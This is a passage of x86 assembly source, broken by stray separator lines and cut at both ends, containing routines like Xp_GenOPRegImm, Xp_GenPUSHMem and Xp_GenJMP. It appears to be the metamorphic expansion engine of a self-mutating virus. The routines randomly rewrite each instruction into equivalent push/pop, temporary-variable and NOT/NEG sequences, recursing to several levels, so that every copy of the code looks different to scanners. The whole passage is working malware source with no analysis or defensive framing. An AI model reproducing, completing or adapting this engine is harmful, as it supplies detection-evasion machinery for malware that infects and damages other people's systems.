mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_MOV:
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Single_OP
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_OP
|
|
mov eax, 0FCh
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [edi+1], eax
|
|
mov eax, 8
|
|
mov [edi+2], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD:
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Single_OP
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_OP
|
|
mov eax, 0FCh
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
mov [edi+7], eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [edi+2], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenOPRegReg endp
|
|
|
|
|
|
Xp_GenOPRegImm proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Double
|
|
|
|
|
|
@@Triple: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 38h
|
|
jz @@Double
|
|
|
|
cmp eax, 48h
|
|
jz @@Double
|
|
cmp eax, 40h
|
|
jz @@Double
|
|
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Random
|
|
and eax, 1
|
|
jz @@Triple_1
|
|
call Xp_GenOPMemReg
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemImm
|
|
@@Triple_Common:
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Triple_1: call Xp_GenOPMemImm
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemReg
|
|
jmp @@Triple_Common
|
|
|
|
|
|
@@Double: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h
|
|
jz @@Double_MOV
|
|
cmp eax, 38h
|
|
jz @@Double_CMP
|
|
cmp eax, 48h
|
|
jz @@Double_TEST
|
|
@@Double_OP: call Random
|
|
and eax, 1
|
|
|
|
|
|
jz @@Double_OP_Composed
|
|
@@Double_OP_Normal:
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemImm
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax
|
|
cmp eax, 38h
|
|
jz @@Double_OP_Normal_Direct
|
|
cmp eax, 48h
|
|
jz @@Double_OP_Normal_Direct
|
|
call Xp_GenOPRegMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Double_OP_Normal_Direct:
|
|
add eax, 2
|
|
add eax, [ebp+Xp_8Bits]
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Double_OP_Composed:
|
|
mov eax, [ebp+Xp_FlagRegOrMem]
|
|
push eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_FlagRegOrMem], eax
|
|
call Xp_MakeComposedOPImm
|
|
pop ebx
|
|
mov [ebp+Xp_FlagRegOrMem], ebx
|
|
or eax, eax
|
|
jnz @@Double_OP_Normal
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Double_MOV:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Double_OP
|
|
call Xp_GenPUSHImm
|
|
call Xp_GenPOPReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_CMP:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP
|
|
mov edx, 38h+4
|
|
mov ecx, 28h+4
|
|
jmp @@Double_OP_CMPTEST_Common
|
|
@@Double_TEST:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP
|
|
mov edx, 48h+4
|
|
mov ecx, 20h+4
|
|
@@Double_OP_CMPTEST_Common:
|
|
call Xp_SaveOperation
|
|
push edx
|
|
push ecx
|
|
call Xp_GetTempVar
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemReg
|
|
pop ecx
|
|
pop edx
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP_CMPTEST_Next
|
|
mov edx, ecx
|
|
@@Double_OP_CMPTEST_Next:
|
|
add edx, [ebp+Xp_8Bits]
|
|
mov [edi], edx
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h
|
|
jz @@Single_MOV
|
|
cmp eax, 38h
|
|
jz @@Single_CMP
|
|
cmp eax, 30h
|
|
jz @@Single_XOR
|
|
or eax, eax
|
|
jz @@Single_ADD
|
|
@@Single_OP: mov eax, [ebp+Xp_Operation]
|
|
add eax, [ebp+Xp_8Bits]
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
|
|
@@Single_MOV:
|
|
mov eax, [ebp+Xp_Immediate]
|
|
or eax, eax
|
|
jz @@Single_MOV_0
|
|
@@Single_OP_MOV:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single_OP
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Single_OP
|
|
mov eax, 000808FCh
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_MOV_0:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@Single_OP_MOV
|
|
cmp eax, 1
|
|
jz @@Single_MOV_0_XOR
|
|
cmp eax, 2
|
|
jz @@Single_MOV_0_SUB
|
|
@@Single_MOV_0_AND:
|
|
call Xp_SaveOperation
|
|
mov eax, 20h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegImm
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Single_MOV_0_XOR:
|
|
add eax, 9
|
|
@@Single_MOV_0_SUB:
|
|
add eax, 26h
|
|
mov ecx, eax
|
|
call Xp_SaveOperation
|
|
mov [ebp+Xp_Operation], ecx
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
call Xp_GenOPRegReg
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single_CMP:
|
|
mov eax, [ebp+Xp_Immediate]
|
|
or eax, eax
|
|
jnz @@Single_OP
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@Single_OP
|
|
cmp eax, 1
|
|
jz @@Single_CMP_OR
|
|
cmp eax, 2
|
|
jz @@Single_CMP_AND
|
|
@@Single_CMP_TEST:
|
|
add eax, 27h
|
|
@@Single_CMP_AND:
|
|
add eax, 17h
|
|
@@Single_CMP_OR:
|
|
add eax, 8
|
|
add eax, [ebp+Xp_8Bits]
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Single_XOR:
|
|
mov eax, [ebp+Xp_Immediate]
|
|
cmp eax, -1
|
|
jnz @@Single_OP
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_OP
|
|
call Xp_GenNOTReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Single_ADD:
|
|
mov eax, [ebp+Xp_Immediate]
|
|
cmp eax, 1
|
|
jz @@Single_ADD_NOTNEG
|
|
cmp eax, -1
|
|
jz @@Single_ADD_NEGNOT
|
|
@@Single_OP_ADD:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_OP
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Single_OP
|
|
mov eax, 0FCh
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
mov [edi+7], eax
|
|
mov eax, 8
|
|
mov [edi+2], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD_NOTNEG:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_ADD_INC
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_OP_ADD
|
|
call Xp_GenNOTReg
|
|
call Xp_GenNEGReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD_INC:
|
|
xor ebx, ebx
|
|
@@Single_ADD_INCDEC_Common:
|
|
mov eax, [ebp+Xp_8Bits]
|
|
add eax, 4Eh
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
mov [edi+7], ebx
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD_NEGNOT:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_ADD_DEC
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_OP_ADD
|
|
call Xp_GenNEGReg
|
|
call Xp_GenNOTReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD_DEC:
|
|
mov ebx, 8
|
|
jmp @@Single_ADD_INCDEC_Common
|
|
Xp_GenOPRegImm endp
|
|
|
|
|
|
Xp_GenOPMemReg proc
|
|
@@Start: call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Single
|
|
call Random
|
|
@@Multiple: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Single
|
|
|
|
mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h
|
|
jz @@Multiple_MOV
|
|
@@Multiple_OP:
|
|
call Xp_SaveOperation
|
|
call Xp_GenPUSHMem
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem
|
|
mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 38h
|
|
jz @@Multiple_OP_CMP
|
|
cmp eax, 48h
|
|
jz @@Multiple_OP_TEST
|
|
@@Multiple_OP_Common:
|
|
call Xp_GenOPMemReg
|
|
call Xp_GenPUSHMem
|
|
call Xp_RestoreOperation
|
|
call Xp_GenPOPMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Multiple_OP_CMP:
|
|
mov ecx, 3Bh
|
|
mov edx, 2Bh
|
|
jmp @@Multiple_OP_CMPTEST_Common
|
|
@@Multiple_OP_TEST:
|
|
mov ecx, 23h
|
|
mov edx, 4Bh
|
|
@@Multiple_OP_CMPTEST_Common:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Multiple_OP_CMPTEST_Next
|
|
mov edx, ecx
|
|
@@Multiple_OP_CMPTEST_Next:
|
|
add edx, [ebp+Xp_8Bits]
|
|
mov [edi], edx
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Multiple_MOV:
|
|
@@Multiple_MOV_Other:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@Multiple_OP
|
|
cmp eax, 1
|
|
jz @@Multiple_MOV_1
|
|
cmp eax, 2
|
|
jnz @@Multiple_MOV_Other
|
|
@@Multiple_MOV_2:
|
|
call Xp_GenPUSHReg
|
|
call Xp_GenPOPMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Multiple_MOV_1:
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
jmp @@Multiple_OP_Common
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation]
|
|
add eax, [ebp+Xp_8Bits]
|
|
add eax, 3
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenOPMemReg endp
|
|
|
|
|
|
Xp_GenOPRegMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
@@Multiple: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Single
|
|
mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h
|
|
jz @@Multiple_MOV
|
|
@@Multiple_OP:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
call Xp_SaveOperation
|
|
call Xp_GenPUSHMem
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem
|
|
call Xp_GenOPRegMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Multiple_MOV:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Multiple_OP
|
|
call Xp_GenPUSHMem
|
|
call Xp_GenPOPReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation]
|
|
add eax, [ebp+Xp_8Bits]
|
|
add eax, 2
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenOPRegMem endp
|
|
|
|
Xp_GenOPMemImm proc
|
|
@@Start: call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Double
|
|
@@Triple: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Double
|
|
call Xp_GenPUSHMem
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem
|
|
mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 38h
|
|
jz @@Triple_CMP
|
|
cmp eax, 48h
|
|
jz @@Triple_TEST
|
|
call Xp_GenOPMemImm
|
|
call Xp_GenPUSHMem
|
|
call Xp_RestoreOperation
|
|
call Xp_GenPOPMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Triple_CMP:
|
|
mov ecx, 2Ch
|
|
mov edx, 3Ch
|
|
jmp @@Triple_CMPTEST_Common
|
|
@@Triple_TEST:
|
|
mov ecx, 24h
|
|
mov edx, 4Ch
|
|
@@Triple_CMPTEST_Common:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Triple_CMPTEST_Next
|
|
mov edx, ecx
|
|
@@Triple_CMPTEST_Next:
|
|
add edx, [ebp+Xp_8Bits]
|
|
mov [edi], edx
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Double: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h
|
|
jz @@Double_MOV
|
|
or eax, eax
|
|
jz @@Double_ADD
|
|
cmp eax, 38h
|
|
jz @@Single
|
|
cmp eax, 48h
|
|
jz @@Single
|
|
@@Double_OP: mov eax, [ebp+Xp_FlagRegOrMem]
|
|
push eax
|
|
mov eax, 1
|
|
mov [ebp+Xp_FlagRegOrMem], eax
|
|
call Xp_MakeComposedOPImm
|
|
pop ebx
|
|
mov [ebp+Xp_FlagRegOrMem], ebx
|
|
or eax, eax
|
|
jnz @@Single
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_MOV:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Double_OP
|
|
call Xp_GenPUSHImm
|
|
call Xp_GenPOPMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_ADD:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP
|
|
mov eax, [ebp+Xp_Immediate]
|
|
cmp eax, 1
|
|
jz @@Double_ADD_NOTNEG
|
|
cmp eax, -1
|
|
jnz @@Double_OP
|
|
@@Double_ADD_NEGNOT:
|
|
call Xp_GenNEGMem
|
|
call Xp_GenNOTMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_ADD_NOTNEG:
|
|
call Xp_GenNOTMem
|
|
call Xp_GenNEGMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 30h
|
|
jz @@Single_XOR
|
|
or eax, eax
|
|
jz @@Single_ADD
|
|
@@Single_OP: mov eax, [ebp+Xp_Operation]
|
|
add eax, [ebp+Xp_8Bits]
|
|
add eax, 4
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_XOR:
|
|
mov eax, [ebp+Xp_Immediate]
|
|
cmp eax, -1
|
|
jnz @@Single_OP
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_OP
|
|
call Xp_GenNOTMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single_OP
|
|
mov eax, [ebp+Xp_Immediate]
|
|
cmp eax, 1
|
|
jz @@Single_INC
|
|
cmp eax, -1
|
|
jnz @@Single_OP
|
|
@@Single_DEC:
|
|
mov ebx, 8
|
|
@@Single_INCDEC_Common:
|
|
mov eax, [ebp+Xp_8Bits]
|
|
add eax, 4Fh
|
|
mov [edi], eax
|
|
push ebx
|
|
call Xp_CopyMemoryReference
|
|
pop ebx
|
|
mov [edi+7], ebx
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_INC:
|
|
xor ebx, ebx
|
|
jmp @@Single_INCDEC_Common
|
|
Xp_GenOPMemImm endp
|
|
|
|
|
|
Xp_GenPOPReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 2
|
|
or eax, eax
|
|
jnz @@Single
|
|
@@Multiple: call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 58h
|
|
jmp Xp_GenPUSHReg_Common
|
|
Xp_GenPOPReg endp
|
|
|
|
|
|
Xp_GenPOPMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
@@Single: mov eax, 59h
|
|
jmp Xp_GenPUSHMem_Common
|
|
Xp_GenPOPMem endp
|
|
|
|
|
|
Xp_GenPUSHReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 2
|
|
or eax, eax
|
|
jnz @@Single
|
|
@@Multiple: call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemReg
|
|
call Xp_GenPUSHMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 50h
|
|
Xp_GenPUSHReg_Common:
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenPUSHReg endp
|
|
|
|
|
|
Xp_GenPUSHMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
call Xp_SaveOperation
|
|
call Xp_GenPUSHMem
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem
|
|
call Xp_GenPUSHMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 51h
|
|
Xp_GenPUSHMem_Common:
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenPUSHMem endp
|
|
|
|
|
|
Xp_GenPUSHImm proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
@@Multiple: call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemImm
|
|
call Xp_GenPUSHMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 68h
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenPUSHImm endp
|
|
|
|
|
|
Xp_GenNEGMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
|
|
call Xp_GenNOTMem
|
|
call Xp_SaveOperation
|
|
mov eax, 1
|
|
jmp Xp_GenNOTMem_Common
|
|
|
|
@@Single: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@NEG32
|
|
mov eax, 0E7h
|
|
jmp Xp_GenNOTMem_Common_Direct
|
|
@@NEG32: mov eax, 0E5h
|
|
jmp Xp_GenNOTMem_Common_Direct
|
|
Xp_GenNEGMem endp
|
|
|
|
|
|
|
|
Xp_GenNEGReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
|
|
call Xp_GenNOTReg
|
|
call Xp_SaveOperation
|
|
mov eax, 1
|
|
jmp Xp_GenNOTReg_Common
|
|
|
|
@@Single: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@NEG32
|
|
mov eax, 0E6h
|
|
jmp Xp_GenNOTReg_Common_Direct
|
|
@@NEG32: mov eax, 0E4h
|
|
jmp Xp_GenNOTReg_Common_Direct
|
|
Xp_GenNEGReg endp
|
|
|
|
|
|
Xp_GenNOTReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 2
|
|
or eax, eax
|
|
jnz @@Single
|
|
call Xp_GenNEGReg
|
|
call Xp_SaveOperation
|
|
mov eax, -1
|
|
Xp_GenNOTReg_Common:
|
|
mov [ebp+Xp_Immediate], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegImm
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@NOT32
|
|
mov eax, 0E2h
|
|
jmp @@NOT_
|
|
@@NOT32: mov eax, 0E0h
|
|
@@NOT_:
|
|
Xp_GenNOTReg_Common_Direct:
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenNOTReg endp
|
|
|
|
|
|
Xp_GenNOTMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
|
|
call Xp_GenNEGMem
|
|
call Xp_SaveOperation
|
|
mov eax, -1
|
|
Xp_GenNOTMem_Common:
|
|
mov [ebp+Xp_Immediate], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemImm
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@NOT32
|
|
mov eax, 0E3h
|
|
jmp @@NOT_
|
|
@@NOT32: mov eax, 0E1h
|
|
@@NOT_:
|
|
Xp_GenNOTMem_Common_Direct:
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenNOTMem endp
|
|
|
|
|
|
Xp_GenCALLReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 2
|
|
or eax, eax
|
|
jnz @@Single
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemReg
|
|
call Xp_GenCALLMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Single: mov eax, 0ECh
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenCALLReg endp
|
|
|
|
|
|
|
|
Xp_GenCALLMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 1
|
|
jnz @@Single
|
|
@@Multiple: call Random
|
|
and eax, 1
|
|
|
|
jz @@Multiple_Reg
|
|
call Xp_SaveOperation
|
|
call Xp_GenPUSHMem
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem
|
|
call Xp_GenCALLMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Multiple_Reg:
|
|
call Xp_SaveOperation
|
|
@@Multiple_Reg_Again:
|
|
call Random
|
|
and eax, 3
|
|
cmp eax, 3
|
|
jz @@Multiple_Reg_Again
|
|
mov [ebp+Xp_Register], eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegMem
|
|
call Xp_GenCALLReg
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 0EAh
|
|
Xp_GenCALLMem_Common:
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenCALLMem endp
|
|
|
|
|
|
Xp_GenRET proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem
|
|
call Xp_GenJMPMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Single: mov eax, 0FEh
|
|
mov [edi], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenRET endp
|
|
|
|
|
|
Xp_GenJMP proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
|
|
mov eax, [ebp+AddressOfLastInstruction]
|
|
sub eax, 10h
|
|
cmp eax, esi
|
|
jz @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
@@Double_Other:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@Double_Other
|
|
cmp eax, 1
|
|
